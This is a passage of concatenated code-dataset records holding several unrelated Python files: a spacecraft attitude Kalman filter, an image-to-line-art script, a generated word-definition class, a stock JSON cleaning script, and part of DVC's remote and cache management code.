StatesObj, state, L_desired):\n\tF, G, Q, H, R = get_DT_matrices(ConfigObj, StatesObj)\n\n\t# Initialize vars\n\tMC_state = np.empty([6])\n\tMC_state[:] = np.NAN\n\tMC_measurement = np.empty([15])\n\tMC_measurement[:] = np.NAN\n\n\t# Find Monte Carlo Ground Truth State\n\tif ConfigObj.enable_nonlinear == 1:\n\t\t# Find Monte Carlo Ground Truth State: Full Nonlinear dynamics\n\t\tx_det = state[StatesObj.mrp_index:StatesObj.mrp_index + 6]\n\t\tx_truth = x_det + np.random.multivariate_normal(np.zeros(6), Q)\n\t\tMC_state[:] = x_truth\n\telse:\n\t\t# Find Monte Carlo Ground Truth State: Linearized\n\t\tx_k = np.empty([6])\n\t\tx_k[:] = StatesObj.states[StatesObj.state_index - 1, StatesObj.mrp_index:StatesObj.mrp_index+6]\n\t\tif np.linalg.norm(L_desired) > ConfigObj.max_torque:\n\t\t\tcontrol_torque = ConfigObj.max_torque * L_desired / np.linalg.norm(L_desired)\n\t\telse:\n\t\t\tcontrol_torque = L_desired\n\n\t\tx_det = F@x_k + G@control_torque\n\t\tx_truth = x_det + np.random.multivariate_normal(np.zeros(6), Q)\n\t\tMC_state[:] = x_truth\n\n\n\t# Find Monte Carlo simulated measurement for the current state\n\tstate_to_measure = x_truth\n\t#state_to_measure = StatesObj.states[StatesObj.state_index - 1, StatesObj.mrp_index:StatesObj.mrp_index+6]\n\ty_monte = H @ state_to_measure + np.random.multivariate_normal(np.zeros(15), R, 1)\n\tMC_measurement[:] = y_monte\n\n\treturn MC_state, MC_measurement\n\n\ndef run_kalman_filter(ConfigObj, StatesObj, L_desired, t):\n\tF, G, Q, H, R = get_DT_matrices(ConfigObj, StatesObj)\n\n\tif np.linalg.norm(L_desired) > ConfigObj.max_torque:\n\t\tcontrol_torque = ConfigObj.max_torque * L_desired / np.linalg.norm(L_desired)\n\telse:\n\t\tcontrol_torque = L_desired\n\n\n\t# Calculate Observability\n\tO = np.concatenate([H,\n\t\t\t\t\t\tH @ F,\n\t\t\t\t\t\tH @ F**2,\n\t\t\t\t\t\tH @ F**3,\n\t\t\t\t\t\tH @ F**4,\n\t\t\t\t\t\tH @ F**5], axis=1)\n\tobservability = np.linalg.matrix_rank(O);\n\n\t# Initialize vars\n\tKF_state = np.empty([6])\n\tKF_state[:] = np.NAN\n\tKF_Covar = np.empty([6, 6])\n\tKF_Covar[:] = np.NAN\n\tx_k = np.empty([6])\n\tx_k[:] = np.NAN\n\tP_k = np.empty([6, 6])\n\tP_k[:] = np.NAN\n\n\t# Get previous filter values\n\tx_k[:] = StatesObj.KF_states[StatesObj.state_index-1, :]\n\tP_k[:] = StatesObj.KF_Covar[StatesObj.state_index-1, :, :]\n\n\t# Set estimated KF Q\n\tQ_KF = 1000*Q\n\n\t# Prediction step\n\tx_k1_minus = F@x_k + G@control_torque\n\tP_k1_minus = F@P_k@F.T + Q_KF\n\n\t# Kalman Gain\n\tK_k1 = P_k1_minus @ H.T @ np.linalg.inv(H @ P_k1_minus @ H.T + R)\n\n\t# Measurement Update\n\n\tif (t % (ConfigObj.t_step * ConfigObj.control_calc_num) < ConfigObj.t_step) and (ConfigObj.enable_sensors == 1):\n\t\ty_k1 = StatesObj.MC_measurements[int(np.floor(StatesObj.state_index/ConfigObj.control_calc_num)), :]\n\t\tx_k1_plus = x_k1_minus + K_k1@(y_k1 - H@x_k1_minus)\n\t\tP_k1_plus = (np.eye(6) - K_k1@H) @ P_k1_minus\n\t\t#P_k1_plus = (np.eye(6) - K_k1@H)@P_k1_minus@(np.eye(6) - K_k1@H).T + K_k1@R@K_k1.T\n\t\tKF_state[:] = x_k1_plus\n\t\tKF_Covar[:] = P_k1_plus\n\telse:\n\t\tKF_state[:] = x_k1_minus\n\t\tKF_Covar[:] = P_k1_minus\n\n\t'''\n\ty_k1 = StatesObj.MC_measurements[StatesObj.state_index, :]\n\tx_k1_plus = x_k1_minus + K_k1 @ (y_k1 - H @ x_k1_minus)\n\tP_k1_plus = (np.eye(6) - K_k1 @ H) @ P_k1_minus\n\t#P_k1_plus = (np.eye(6) - K_k1 @ H) @ P_k1_minus @ (np.eye(6) - K_k1 @ H).T + K_k1 @ R @ K_k1.T\n\tif ConfigObj.enable_sensors == 1:\n\t\tKF_state[:] = x_k1_plus\n\t\tKF_Covar[:] = P_k1_plus\n\telse:\n\t\tKF_state[:] = x_k1_minus\n\t\tKF_Covar[:] = P_k1_minus\n\t'''\n\n\treturn KF_state, KF_Covar\n\ndef run_squareroot_filter():\n\tx=1\n\ndef get_DT_matrices(ConfigObj, StatesObj):\n\t## Unload timestep, inertia, control torque\n\tdT = ConfigObj.t_step\n\tI = simulation.get_body_inertia(ConfigObj, StatesObj)\n\n\t## Continuous time matrices\n\tA = np.array([[0, 0, 0, 0.25, 0, 0],\n\t\t\t\t[0, 0, 0, 0, 0.25, 0],\n\t\t\t\t[0, 0, 0, 0, 0, 0.25],\n\t\t\t\t[0, 0, 0, 0, 0, 0],\n\t\t\t\t[0, 0, 0, 0, 0, 0],\n\t\t\t\t[0, 0, 0, 0, 0, 0]])\n\tB = np.array([[0, 0, 0],\n\t\t\t\t[0, 0, 0],\n\t\t\t\t[0, 0, 0],\n\t\t\t\t[1 / I[0, 0], 0, 0],\n\t\t\t\t[0, 1 / I[1, 1], 0],\n\t\t\t\t[0, 0, 1 / I[2, 2]]])\n\tC1 = np.array(np.eye(6, 6))\n\tC2 = np.append(np.zeros([3, 3]), np.eye(3, 3), axis=1)\n\tC = np.concatenate([C1, C2, C2, C2], axis=0)\n\tD = np.zeros([15, 3])\n\t# True gamma\n\tGamma = np.array([[0, 0, 0],\n\t\t\t\t\t[0, 0, 0],\n\t\t\t\t\t[0, 0, 0],\n\t\t\t\t\t[1 / I[0, 0], 0, 0],\n\t\t\t\t\t[0, 1 / I[1, 1], 0],\n\t\t\t\t\t[0, 0, 1 / I[2, 2]]])\n\t# Fake gamma to deal with numerical errors\n\t#Gamma = np.array([[1, 0, 0],\n\t#\t\t\t\t[0, 1, 0],\n\t#\t\t\t\t[0, 0, 1],\n\t#\t\t\t\t[1 / I[0, 0], 0, 0],\n\t#\t\t\t\t[0, 1 / I[1, 1], 0],\n\t#\t\t\t\t[0, 0, 1 / I[2, 2]]])\n\t#Gamma = np.array([[1/1000, 0, 0],\n\t#\t\t\t\t[0, 1/1000, 0],\n\t#\t\t\t\t[0, 0, 1/1000],\n\t#\t\t\t\t[1, 0, 0],\n\t#\t\t\t\t[0, 1, 0],\n\t#\t\t\t\t[0, 0, 1]])\n\tW = ConfigObj.W\n\tV = ConfigObj.V\n\n\t## Get the discrete time model\n\tsysd = scipy.signal.cont2discrete((A, B, C, D), .01)\n\tF = sysd[0]\n\tG = sysd[1]\n\tH = sysd[2]\n\n\t## Find the discrete time process and sensor noise matrices\n\tM1 = np.concatenate([-A, Gamma @ W @ Gamma.T], axis=1)\n\tM2 = np.concatenate([np.zeros([6, 6]), A.T], axis=1)\n\tM = dT * np.concatenate([M1, M2], axis=0)\n\t#print(M)\n\teM = scipy.linalg.expm(M)\n\t# F = eM[6:12, 6:12].T\n\tQ = F @ eM[0:6, 6:12]\n\t#print(Q)\n\tR = V / dT\n\n\treturn F, G, Q, H, R\n","sub_path":"estimation.py","file_name":"estimation.py","file_ext":"py","file_size_in_byte":5110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"578844953","text":"import os\r\nimport numpy as np\r\nfrom PIL import Image\r\n\r\ndef ctrl_lim(num):\r\n #控制输入的数范围在0~255\r\n if num < 0:\r\n return 0\r\n if num > 255:\r\n return 255\r\n return num\r\n\r\ndef convolve(raw_matrix, new_matrix, kernel): \r\n kernel_height = kernel.shape[0]\r\n kernel_width = kernel.shape[1]\r\n picture_height = raw_matrix.shape[0]\r\n picture_width = raw_matrix.shape[1]\r\n r = int((kernel.shape[0] - 1) / 2)\r\n for j in range(picture_height - kernel_height + 1):\r\n if j % 20 == 0:\r\n print(\"正在执行第\" + str(j) + \"行像素点\")\r\n for i in range(picture_width - kernel_width + 1):\r\n raw_color = raw_matrix[j + r][i + r]\r\n #卷积\r\n max_color = 0\r\n for m in range(kernel_height):\r\n for n in range(kernel_width):\r\n if raw_matrix[j + m][i + n] > max_color:\r\n max_color = raw_matrix[j + m][i + n]\r\n #反色\r\n max_color = ctrl_lim(255 - max_color)\r\n #颜色减淡\r\n if raw_color == 255:\r\n new_color = 255\r\n elif max_color == 0:\r\n new_color = raw_color\r\n else :\r\n new_color = raw_color / (1 - max_color / 255)\r\n\r\n \r\n new_matrix[j][i] = ctrl_lim(new_color)\r\n\r\nraw_pic_path = os.path.abspath('洛天依.bmp')\r\nraw_pic = Image.open(raw_pic_path).convert('L')\r\n\r\nwidth, height = raw_pic.size\r\nnew_pic = Image.new('L', (width - 2, height - 2), 255)\r\n\r\nraw_matrix = np.array(raw_pic).reshape((height, width))\r\nnew_matrix = np.array(new_pic).reshape((height - 2, width - 2))\r\nprint(raw_matrix.shape)\r\n\r\nkernel = np.zeros((5,5))\r\n\r\nprint(\"开始\")\r\nconvolve(raw_matrix, new_matrix, kernel)\r\nprint(\"完毕\")\r\nnew_im = Image.fromarray(new_matrix, 'L')\r\nnew_im.show()\r\nnew_im.save(os.path.abspath('result.bmp'))\r\n","sub_path":"Python版/二次元图像线稿化.py","file_name":"二次元图像线稿化.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"35419295","text":"\n\n#calss header\nclass _POTION():\n\tdef __init__(self,): \n\t\tself.name = \"POTION\"\n\t\tself.definitions = [u'a liquid that is believed to have a magical effect on someone who drinks it: ', u'a liquid or substance that is said to cure an illness or a condition, but is not a medicine: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_potion.py","file_name":"_potion.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"13106217","text":"#coding:gbk\nimport json\nimport re\nwith open('20200508.json','r') as file:\n str = file.read()\n data = json.loads(str)\ntemp =[]\nx=0 \ntest = {'a':1,'b':2,'c':2}\n#清除空数据\nfor num in range(len(data)):\n stock = data[num]\n for key in stock:\n if stock[key]=='-':\n temp.append(stock['序号'])\n break\n#替换掉汉字和符号\n if key=='成交量' or key=='成交额' or key=='换手率' or key=='振幅' or key=='涨跌幅':\n if re.search('万',stock[key]):\n stock[key]=round(float(re.split('万',stock[key])[0])*10000,4)\n elif re.search('亿',stock[key]):\n stock[key]=round(float(re.split('亿',stock[key])[0])*100000000,4)\n elif re.search('%',stock[key]):\n stock[key]=round(float(re.split('%',stock[key])[0])*0.01,4)\nfor num in temp:\n for i in range(len(data)-1):\n if(data[i]['序号'])==num:\n x=x+1\n del data[i]\n#清洗过后的数据\nwith open(\"0508_first.json\",\"w\") as file:\n file.write(json.dumps(data,indent=2,ensure_ascii=False))\n\n\n#检验代码,判断空值是否删干净\n#print(len(temp))\n#print(x)\n#for num in range(len(data)):\n #stock = data[num]\n #for key in stock:\n #if stock[key]=='-':\n #print(stock)\n\n\n","sub_path":"数据预处理脚本/datawash.py","file_name":"datawash.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"431193871","text":"import hashlib\nimport json\nimport logging\nfrom copy import copy\nfrom functools import wraps\n\nfrom shortuuid import uuid\n\nimport dvc.prompt as prompt\nfrom dvc.exceptions import CheckoutError, ConfirmRemoveError, DvcException\nfrom dvc.path_info import WindowsPathInfo\nfrom dvc.progress import Tqdm\nfrom dvc.remote.index import RemoteIndex, RemoteIndexNoop\nfrom dvc.remote.slow_link_detection import slow_link_guard\n\nfrom ..tree.base import RemoteActionNotImplemented\n\nlogger = logging.getLogger(__name__)\n\nSTATUS_OK = 1\nSTATUS_MISSING = 2\nSTATUS_NEW = 3\nSTATUS_DELETED = 4\n\nSTATUS_MAP = {\n # (local_exists, remote_exists)\n (True, True): STATUS_OK,\n (False, False): STATUS_MISSING,\n (True, False): STATUS_NEW,\n (False, True): STATUS_DELETED,\n}\n\n\nclass DirCacheError(DvcException):\n def __init__(self, hash_):\n super().__init__(\n f\"Failed to load dir cache for hash value: '{hash_}'.\"\n )\n\n\ndef index_locked(f):\n @wraps(f)\n def wrapper(obj, named_cache, remote, *args, **kwargs):\n if hasattr(remote, \"index\"):\n with remote.index:\n return f(obj, named_cache, remote, *args, **kwargs)\n return f(obj, named_cache, remote, *args, **kwargs)\n\n return wrapper\n\n\nclass Remote:\n \"\"\"Cloud remote class.\n\n Provides methods for indexing and garbage collecting trees which contain\n DVC remotes.\n \"\"\"\n\n INDEX_CLS = RemoteIndex\n\n def __init__(self, tree):\n self.tree = tree\n self.repo = tree.repo\n\n config = tree.config\n url = config.get(\"url\")\n if url:\n index_name = hashlib.sha256(url.encode(\"utf-8\")).hexdigest()\n self.index = self.INDEX_CLS(\n self.repo, index_name, dir_suffix=self.tree.CHECKSUM_DIR_SUFFIX\n )\n else:\n self.index = RemoteIndexNoop()\n\n def __repr__(self):\n return \"{class_name}: '{path_info}'\".format(\n class_name=type(self).__name__,\n path_info=self.tree.path_info or \"No path\",\n )\n\n @property\n def cache(self):\n return getattr(self.repo.cache, self.tree.scheme)\n\n def hashes_exist(self, hashes, jobs=None, name=None):\n \"\"\"Check if the given hashes are stored in the remote.\n\n There are two ways of performing this check:\n\n - Traverse method: Get a list of all the files in the remote\n (traversing the cache directory) and compare it with\n the given hashes. Cache entries will be retrieved in parallel\n threads according to prefix (i.e. entries starting with, \"00...\",\n \"01...\", and so on) and a progress bar will be displayed.\n\n - Exists method: For each given hash, run the `exists`\n method and filter the hashes that aren't on the remote.\n This is done in parallel threads.\n It also shows a progress bar when performing the check.\n\n The reason for such an odd logic is that most of the remotes\n take much shorter time to just retrieve everything they have under\n a certain prefix (e.g. s3, gs, ssh, hdfs). Other remotes that can\n check if particular file exists much quicker, use their own\n implementation of hashes_exist (see ssh, local).\n\n Which method to use will be automatically determined after estimating\n the size of the remote cache, and comparing the estimated size with\n len(hashes). To estimate the size of the remote cache, we fetch\n a small subset of cache entries (i.e. entries starting with \"00...\").\n Based on the number of entries in that subset, the size of the full\n cache can be estimated, since the cache is evenly distributed according\n to hash.\n\n Returns:\n A list with hashes that were found in the remote\n \"\"\"\n # Remotes which do not use traverse prefix should override\n # hashes_exist() (see ssh, local)\n assert self.tree.TRAVERSE_PREFIX_LEN >= 2\n\n hashes = set(hashes)\n indexed_hashes = set(self.index.intersection(hashes))\n hashes -= indexed_hashes\n logger.debug(\"Matched '{}' indexed hashes\".format(len(indexed_hashes)))\n if not hashes:\n return indexed_hashes\n\n if len(hashes) == 1 or not self.tree.CAN_TRAVERSE:\n remote_hashes = self.tree.list_hashes_exists(hashes, jobs, name)\n return list(indexed_hashes) + remote_hashes\n\n # Max remote size allowed for us to use traverse method\n remote_size, remote_hashes = self.tree.estimate_remote_size(\n hashes, name\n )\n\n traverse_pages = remote_size / self.tree.LIST_OBJECT_PAGE_SIZE\n # For sufficiently large remotes, traverse must be weighted to account\n # for performance overhead from large lists/sets.\n # From testing with S3, for remotes with 1M+ files, object_exists is\n # faster until len(hashes) is at least 10k~100k\n if remote_size > self.tree.TRAVERSE_THRESHOLD_SIZE:\n traverse_weight = (\n traverse_pages * self.tree.TRAVERSE_WEIGHT_MULTIPLIER\n )\n else:\n traverse_weight = traverse_pages\n if len(hashes) < traverse_weight:\n logger.debug(\n \"Large remote ('{}' hashes < '{}' traverse weight), \"\n \"using object_exists for remaining hashes\".format(\n len(hashes), traverse_weight\n )\n )\n return (\n list(indexed_hashes)\n + list(hashes & remote_hashes)\n + self.tree.list_hashes_exists(\n hashes - remote_hashes, jobs, name\n )\n )\n\n logger.debug(\"Querying '{}' hashes via traverse\".format(len(hashes)))\n remote_hashes = set(\n self.tree.list_hashes_traverse(\n remote_size, remote_hashes, jobs, name\n )\n )\n return list(indexed_hashes) + list(hashes & set(remote_hashes))\n\n @classmethod\n @index_locked\n def gc(cls, named_cache, remote, jobs=None):\n tree = remote.tree\n used = set(named_cache.scheme_keys(\"local\"))\n\n if tree.scheme != \"\":\n used.update(named_cache.scheme_keys(tree.scheme))\n\n removed = False\n # hashes must be sorted to ensure we always remove .dir files first\n for hash_ in sorted(\n tree.all(jobs, str(tree.path_info)),\n key=tree.is_dir_hash,\n reverse=True,\n ):\n if hash_ in used:\n continue\n path_info = tree.hash_to_path_info(hash_)\n if tree.is_dir_hash(hash_):\n # backward compatibility\n # pylint: disable=protected-access\n tree._remove_unpacked_dir(hash_)\n tree.remove(path_info)\n removed = True\n\n if removed and hasattr(remote, \"index\"):\n remote.index.clear()\n return removed\n\n\nclass CloudCache:\n \"\"\"Cloud cache class.\"\"\"\n\n DEFAULT_CACHE_TYPES = [\"copy\"]\n CACHE_MODE = None\n\n def __init__(self, tree):\n self.tree = tree\n self.repo = tree.repo\n\n self.cache_types = tree.config.get(\"type\") or copy(\n self.DEFAULT_CACHE_TYPES\n )\n self.cache_type_confirmed = False\n self._dir_info = {}\n\n def get_dir_cache(self, hash_):\n assert hash_\n\n dir_info = self._dir_info.get(hash_)\n if dir_info:\n return dir_info\n\n try:\n dir_info = self.load_dir_cache(hash_)\n except DirCacheError:\n dir_info = []\n\n self._dir_info[hash_] = dir_info\n return dir_info\n\n def load_dir_cache(self, hash_):\n path_info = self.tree.hash_to_path_info(hash_)\n\n try:\n with self.tree.open(path_info, \"r\") as fobj:\n d = json.load(fobj)\n except (ValueError, FileNotFoundError) as exc:\n raise DirCacheError(hash_) from exc\n\n if not isinstance(d, list):\n logger.error(\n \"dir cache file format error '%s' [skipping the file]\",\n path_info,\n )\n return []\n\n if self.tree.PATH_CLS == WindowsPathInfo:\n # only need to convert it for Windows\n for info in d:\n # NOTE: here is a BUG, see comment to .as_posix() below\n relpath = info[self.tree.PARAM_RELPATH]\n info[self.tree.PARAM_RELPATH] = relpath.replace(\n \"/\", self.tree.PATH_CLS.sep\n )\n\n return d\n\n def changed(self, path_info, hash_info):\n \"\"\"Checks if data has changed.\n\n A file is considered changed if:\n - It doesn't exist on the working directory (was unlinked)\n - Hash value is not computed (saving a new file)\n - The hash value stored is different from the given one\n - There's no file in the cache\n\n Args:\n path_info: dict with path information.\n hash: expected hash value for this data.\n\n Returns:\n bool: True if data has changed, False otherwise.\n \"\"\"\n\n logger.debug(\n \"checking if '%s'('%s') has changed.\", path_info, hash_info\n )\n\n if not self.tree.exists(path_info):\n logger.debug(\"'%s' doesn't exist.\", path_info)\n return True\n\n hash_ = hash_info.get(self.tree.PARAM_CHECKSUM)\n if hash_ is None:\n logger.debug(\"hash value for '%s' is missing.\", path_info)\n return True\n\n if self.changed_cache(hash_):\n logger.debug(\"cache for '%s'('%s') has changed.\", path_info, hash_)\n return True\n\n actual = self.tree.get_hash(path_info)\n if hash_ != actual:\n logger.debug(\n \"hash value '%s' for '%s' has changed (actual '%s').\",\n hash_,\n actual,\n path_info,\n )\n return True\n\n logger.debug(\"'%s' hasn't changed.\", path_info)\n return False\n\n def link(self, from_info, to_info):\n self._link(from_info, to_info, self.cache_types)\n\n def _link(self, from_info, to_info, link_types):\n assert self.tree.isfile(from_info)\n\n self.tree.makedirs(to_info.parent)\n\n self._try_links(from_info, to_info, link_types)\n\n def _verify_link(self, path_info, link_type):\n if self.cache_type_confirmed:\n return\n\n is_link = getattr(self.tree, f\"is_{link_type}\", None)\n if is_link and not is_link(path_info):\n self.tree.remove(path_info)\n raise DvcException(f\"failed to verify {link_type}\")\n\n self.cache_type_confirmed = True\n\n @slow_link_guard\n def _try_links(self, from_info, to_info, link_types):\n while link_types:\n link_method = getattr(self.tree, link_types[0])\n try:\n self._do_link(from_info, to_info, link_method)\n self._verify_link(to_info, link_types[0])\n return\n\n except DvcException as exc:\n logger.debug(\n \"Cache type '%s' is not supported: %s\", link_types[0], exc\n )\n del link_types[0]\n\n raise DvcException(\"no possible cache types left to try out.\")\n\n def _do_link(self, from_info, to_info, link_method):\n if self.tree.exists(to_info):\n raise DvcException(f\"Link '{to_info}' already exists!\")\n\n link_method(from_info, to_info)\n\n logger.debug(\n \"Created '%s': %s -> %s\", self.cache_types[0], from_info, to_info,\n )\n\n def _save_file(self, path_info, tree, hash_, save_link=True, **kwargs):\n assert hash_\n\n cache_info = self.tree.hash_to_path_info(hash_)\n if tree == self.tree:\n if self.changed_cache(hash_):\n self.tree.move(path_info, cache_info, mode=self.CACHE_MODE)\n self.link(cache_info, path_info)\n elif self.tree.iscopy(path_info) and self._cache_is_copy(\n path_info\n ):\n # Default relink procedure involves unneeded copy\n self.tree.unprotect(path_info)\n else:\n self.tree.remove(path_info)\n self.link(cache_info, path_info)\n\n if save_link:\n self.tree.state.save_link(path_info)\n # we need to update path and cache, since in case of reflink,\n # or copy cache type moving original file results in updates on\n # next executed command, which causes md5 recalculation\n self.tree.state.save(path_info, hash_)\n else:\n if self.changed_cache(hash_):\n with tree.open(path_info, mode=\"rb\") as fobj:\n # if tree has fetch enabled, DVC out will be fetched on\n # open and we do not need to read/copy any data\n if not (\n tree.isdvc(path_info, strict=False) and tree.fetch\n ):\n self.tree.copy_fobj(fobj, cache_info)\n callback = kwargs.get(\"download_callback\")\n if callback:\n callback(1)\n\n self.tree.state.save(cache_info, hash_)\n return {self.tree.PARAM_CHECKSUM: hash_}\n\n def _cache_is_copy(self, path_info):\n \"\"\"Checks whether cache uses copies.\"\"\"\n if self.cache_type_confirmed:\n return self.cache_types[0] == \"copy\"\n\n if set(self.cache_types) <= {\"copy\"}:\n return True\n\n workspace_file = path_info.with_name(\".\" + uuid())\n test_cache_file = self.tree.path_info / \".cache_type_test_file\"\n if not self.tree.exists(test_cache_file):\n with self.tree.open(test_cache_file, \"wb\") as fobj:\n fobj.write(bytes(1))\n try:\n self.link(test_cache_file, workspace_file)\n finally:\n self.tree.remove(workspace_file)\n self.tree.remove(test_cache_file)\n\n self.cache_type_confirmed = True\n return self.cache_types[0] == \"copy\"\n\n def _save_dir(self, path_info, tree, hash_, save_link=True, **kwargs):\n dir_info = self.get_dir_cache(hash_)\n for entry in Tqdm(\n dir_info, desc=\"Saving \" + path_info.name, unit=\"file\"\n ):\n entry_info = path_info / entry[self.tree.PARAM_RELPATH]\n entry_hash = entry[self.tree.PARAM_CHECKSUM]\n self._save_file(\n entry_info, tree, entry_hash, save_link=False, **kwargs\n )\n\n if save_link:\n self.tree.state.save_link(path_info)\n if self.tree.exists(path_info):\n self.tree.state.save(path_info, hash_)\n\n cache_info = self.tree.hash_to_path_info(hash_)\n self.tree.state.save(cache_info, hash_)\n return {self.tree.PARAM_CHECKSUM: hash_}\n\n def save(self, path_info, tree, hash_info, save_link=True, **kwargs):\n if path_info.scheme != self.tree.scheme:\n raise RemoteActionNotImplemented(\n f\"save {path_info.scheme} -> {self.tree.scheme}\",\n self.tree.scheme,\n )\n\n if not hash_info:\n hash_info = self.tree.save_info(path_info, tree=tree, **kwargs)\n hash_ = hash_info[self.tree.PARAM_CHECKSUM]\n return self._save(path_info, tree, hash_, save_link, **kwargs)\n\n def _save(self, path_info, tree, hash_, save_link=True, **kwargs):\n to_info = self.tree.hash_to_path_info(hash_)\n logger.debug(\"Saving '%s' to '%s'.\", path_info, to_info)\n\n if tree.isdir(path_info):\n return self._save_dir(path_info, tree, hash_, save_link, **kwargs)\n return self._save_file(path_info, tree, hash_, save_link, **kwargs)\n\n # Override to return path as a string instead of PathInfo for clouds\n # which support string paths (see local)\n def hash_to_path(self, hash_):\n return self.tree.hash_to_path_info(hash_)\n\n def changed_cache_file(self, hash_):\n \"\"\"Compare the given hash with the (corresponding) actual one.\n\n - Use `State` as a cache for computed hashes\n + The entries are invalidated by taking into account the following:\n * mtime\n * inode\n * size\n * hash\n\n - Remove the file from cache if it doesn't match the actual hash\n \"\"\"\n # Prefer string path over PathInfo when possible due to performance\n cache_info = self.hash_to_path(hash_)\n if self.tree.is_protected(cache_info):\n logger.debug(\n \"Assuming '%s' is unchanged since it is read-only\", cache_info\n )\n return False\n\n actual = self.tree.get_hash(cache_info)\n\n logger.debug(\n \"cache '%s' expected '%s' actual '%s'\", cache_info, hash_, actual,\n )\n\n if not hash_ or not actual:\n return True\n\n if actual.split(\".\")[0] == hash_.split(\".\")[0]:\n # making cache file read-only so we don't need to check it\n # next time\n self.tree.protect(cache_info)\n return False\n\n if self.tree.exists(cache_info):\n logger.warning(\"corrupted cache file '%s'.\", cache_info)\n self.tree.remove(cache_info)\n\n return True\n\n def _changed_dir_cache(self, hash_, path_info=None, filter_info=None):\n if self.changed_cache_file(hash_):\n return True\n\n for entry in self.get_dir_cache(hash_):\n entry_hash = entry[self.tree.PARAM_CHECKSUM]\n\n if path_info and filter_info:\n entry_info = path_info / entry[self.tree.PARAM_RELPATH]\n if not entry_info.isin_or_eq(filter_info):\n continue\n\n if self.changed_cache_file(entry_hash):\n return True\n\n return False\n\n def changed_cache(self, hash_, path_info=None, filter_info=None):\n if self.tree.is_dir_hash(hash_):\n return self._changed_dir_cache(\n hash_, path_info=path_info, filter_info=filter_info\n )\n return self.changed_cache_file(hash_)\n\n def already_cached(self, path_info):\n current = self.tree.get_hash(path_info)\n\n if not current:\n return False\n\n return not self.changed_cache(current)\n\n def safe_remove(self, path_info, force=False):\n if not self.tree.exists(path_info):\n return\n\n if not force and not self.already_cached(path_info):\n msg = (\n \"file '{}' is going to be removed.\"\n \" Are you sure you want to proceed?\".format(str(path_info))\n )\n\n if not prompt.confirm(msg):\n raise ConfirmRemoveError(str(path_info))\n\n self.tree.remove(path_info)\n\n def _checkout_file(\n self, path_info, hash_, force, progress_callback=None, relink=False\n ):\n \"\"\"The file is changed we need to checkout a new copy\"\"\"\n added, modified = True, False\n cache_info = self.tree.hash_to_path_info(hash_)\n if self.tree.exists(path_info):\n logger.debug(\"data '%s' will be replaced.\", path_info)\n self.safe_remove(path_info, force=force)\n added, modified = False, True\n\n self.link(cache_info, path_info)\n self.tree.state.save_link(path_info)\n self.tree.state.save(path_info, hash_)\n if progress_callback:\n progress_callback(str(path_info))\n\n return added, modified and not relink\n\n def _checkout_dir(\n self,\n path_info,\n hash_,\n force,\n progress_callback=None,\n relink=False,\n filter_info=None,\n ):\n added, modified = False, False\n # Create dir separately so that dir is created\n # even if there are no files in it\n if not self.tree.exists(path_info):\n added = True\n self.tree.makedirs(path_info)\n\n dir_info = self.get_dir_cache(hash_)\n\n logger.debug(\"Linking directory '%s'.\", path_info)\n\n for entry in dir_info:\n relative_path = entry[self.tree.PARAM_RELPATH]\n entry_hash = entry[self.tree.PARAM_CHECKSUM]\n entry_cache_info = self.tree.hash_to_path_info(entry_hash)\n entry_info = path_info / relative_path\n\n if filter_info and not entry_info.isin_or_eq(filter_info):\n continue\n\n entry_hash_info = {self.tree.PARAM_CHECKSUM: entry_hash}\n if relink or self.changed(entry_info, entry_hash_info):\n modified = True\n self.safe_remove(entry_info, force=force)\n self.link(entry_cache_info, entry_info)\n self.tree.state.save(entry_info, entry_hash)\n if progress_callback:\n progress_callback(str(entry_info))\n\n modified = (\n self._remove_redundant_files(path_info, dir_info, force)\n or modified\n )\n\n self.tree.state.save_link(path_info)\n self.tree.state.save(path_info, hash_)\n\n # relink is not modified, assume it as nochange\n return added, not added and modified and not relink\n\n def _remove_redundant_files(self, path_info, dir_info, force):\n existing_files = set(self.tree.walk_files(path_info))\n\n needed_files = {\n path_info / entry[self.tree.PARAM_RELPATH] for entry in dir_info\n }\n redundant_files = existing_files - needed_files\n for path in redundant_files:\n self.safe_remove(path, force)\n\n return bool(redundant_files)\n\n def checkout(\n self,\n path_info,\n hash_info,\n force=False,\n progress_callback=None,\n relink=False,\n filter_info=None,\n ):\n if path_info.scheme not in [\"local\", self.tree.scheme]:\n raise NotImplementedError\n\n hash_ = hash_info.get(self.tree.PARAM_CHECKSUM)\n failed = None\n skip = False\n if not hash_:\n logger.warning(\n \"No file hash info found for '%s'. \" \"It won't be created.\",\n path_info,\n )\n self.safe_remove(path_info, force=force)\n failed = path_info\n\n elif not relink and not self.changed(path_info, hash_info):\n logger.debug(\"Data '%s' didn't change.\", path_info)\n skip = True\n\n elif self.changed_cache(\n hash_, path_info=path_info, filter_info=filter_info\n ):\n logger.warning(\n \"Cache '%s' not found. File '%s' won't be created.\",\n hash_,\n path_info,\n )\n self.safe_remove(path_info, force=force)\n failed = path_info\n\n if failed or skip:\n if progress_callback:\n progress_callback(\n str(path_info),\n self.get_files_number(\n self.tree.path_info, hash_, filter_info\n ),\n )\n if failed:\n raise CheckoutError([failed])\n return\n\n logger.debug(\"Checking out '%s' with cache '%s'.\", path_info, hash_)\n\n return self._checkout(\n path_info, hash_, force, progress_callback, relink, filter_info,\n )\n\n def _checkout(\n self,\n path_info,\n hash_,\n force=False,\n progress_callback=None,\n relink=False,\n filter_info=None,\n ):\n if not self.tree.is_dir_hash(hash_):\n return self._checkout_file(\n path_info, hash_, force, progress_callback, relink\n )\n\n return self._checkout_dir(\n path_info, hash_, force, progress_callback, relink, filter_info\n )\n\n def get_files_number(self, path_info, hash_, filter_info):\n from funcy.py3 import ilen\n\n if not hash_:\n return 0\n\n if not self.tree.is_dir_hash(hash_):\n return 1\n\n if not filter_info:\n return len(self.get_dir_cache(hash_))\n\n return ilen(\n filter_info.isin_or_eq(path_info / entry[self.tree.PARAM_CHECKSUM])\n for entry in 